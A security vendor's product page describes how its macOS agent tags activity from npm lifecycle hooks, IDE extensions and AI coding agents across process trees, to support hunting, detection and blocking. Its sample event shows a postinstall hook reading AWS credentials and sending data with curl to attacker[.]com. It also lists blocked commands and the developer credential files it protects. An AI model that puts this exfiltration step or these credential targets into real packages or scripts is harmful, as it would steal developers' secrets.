New series: Endpoint Security in the AI Age. Read part 1

Every event shows what caused it.

A curl command is noise. A curl from the postinstall hook of an npm package is an incident. Phorion tags activity with the behavior behind it and carries that tag across every descendant process, file, network and DNS event.

How tagging works

  1. Recognize

    When a process starts, the agent inspects the full context Apple's Endpoint Security Framework hands it, including the process environment. An npm lifecycle hook, an IDE extension host or an AI coding agent each leave a recognizable fingerprint.

  2. Tag

    The process gets a behavior label plus the metadata that matters: for npm, the lifecycle phase, package name and version.

  3. Propagate

    The agent carries the earliest tag down the process tree and onto events that have no environment of their own: file reads, network connections, DNS lookups. Code further down the tree can't shed the tag by tampering with its environment.

Process tree · MacBook-Pro-14
  • exec npm install
  • exec sh -c "node setup.js" NpmPostInstall · lifecycle-canary@1.0.0
  • exec node setup.js NpmPostInstall
  • file open ~/.aws/credentials NpmPostInstall Denied
  • dns attacker[.]com NpmPostInstall
  • exec curl -X POST -d … https://attacker[.]com/collect NpmPostInstall
  • exec npm publish NpmPostInstall Blocked
The tag lands on the hook, then follows every descendant. Credential reads and self-publishing are blocked; the rest is fully attributed for your detections.

What a raw process event shows vs. a tagged one

Tagging turns "something ran curl" into a fact you can act on, and a disclosed package name into a single fleet-wide search.

Typical EDR event
{
  "event_type": "ProcessExec",
  "signing_id": "com.apple.curl",
  "process_args": ["curl", "-X", "POST", "-d", "...",
                   "https://attacker[.]com/collect"],
  ...
}
curl made a POST request. From what, and why?
Phorion event
{
  "event_type": "ProcessExec",
  "signing_id": "com.apple.curl",
  "process_args": ["curl", "-X", "POST", "-d", "...",
                   "https://attacker[.]com/collect"],
  "behavior": ["NpmPostInstall"],
  "enrichments": {
    "npm": {
      "lifecycle_event": "postinstall",
      "package_name": "lifecycle-canary",
      "package_version": "1.0.0"
    }
  },
  ...
}
curl made a POST during the postinstall of lifecycle-canary@1.0.0.

The behaviors attackers hide inside

Developer tooling runs third-party code with the developer's full access. Tagging separates that code's activity from the person at the keyboard.

npm lifecycle hooks

preinstall, install, postinstall and prepare scripts run silently during npm install. Phorion tags each hook with its phase, package and version, the surface used by Shai-Hulud, the TanStack compromise and the Axios package compromise.

Read the research

IDE extensions

Extensions in VS Code, Cursor and other editors inherit broad code execution and file access. Tagging their activity separates a malicious extension's processes, reads and connections from the developer's own work.

See a malicious extension in the wild

AI coding agents

Agents run commands, read files and make network requests on the developer's behalf. Tagging shows exactly what an agent executed and touched, and lets you scope controls to agent activity alone.

Read about triaging AI agent activity

One signal, three jobs

  • Hunt

    A compromised package is disclosed. Pivot from its name and affected versions to every execution across the fleet: which files it read, what it downloaded, which domains it queried. One query, no process-tree walking.

  • Detect

    Write rules on behavior, not just binaries. "A credential file read during an npm hook" is a far sharper signal than "node read a file".

  • Protect

    Block in-line, scoped to the behavior. curl and osascript stay available to the developer, but not to a lifecycle hook that has no business running them.

Blocked during npm lifecycle hooks

ActivityWhy
osascriptCredential phishing dialogs and JXA execution
pbpasteClipboard sniffing for credentials
rm -rfDestructive "dead-man's switch" payloads
npm publishWorm self-propagation through stolen tokens
openDetaching processes to escape the hook's tree
…and more

Unreadable from npm lifecycle hooks

FileContains
~/.npmrcnpm registry tokens
~/.git-credentialsPlaintext git HTTPS credentials
~/.aws/credentialsAWS access keys
~/.docker/config.jsonContainer registry tokens
~/.terraform.d/credentials.tfrc.jsonTerraform Cloud tokens
…and more

Every rule is individually toggleable. Need Python during node-gyp builds? Disable that one rule and keep the rest.

See how Phorion protects your macOS fleet

Purpose-built by macOS security researchers. One lightweight agent delivering detection, prevention, and visibility.

Ready to see it in action? Book a demo and we'll show you how Phorion can protect your fleet.

Book a Demo

Error

Expect a personal email from our team.

Pricing About Us Blog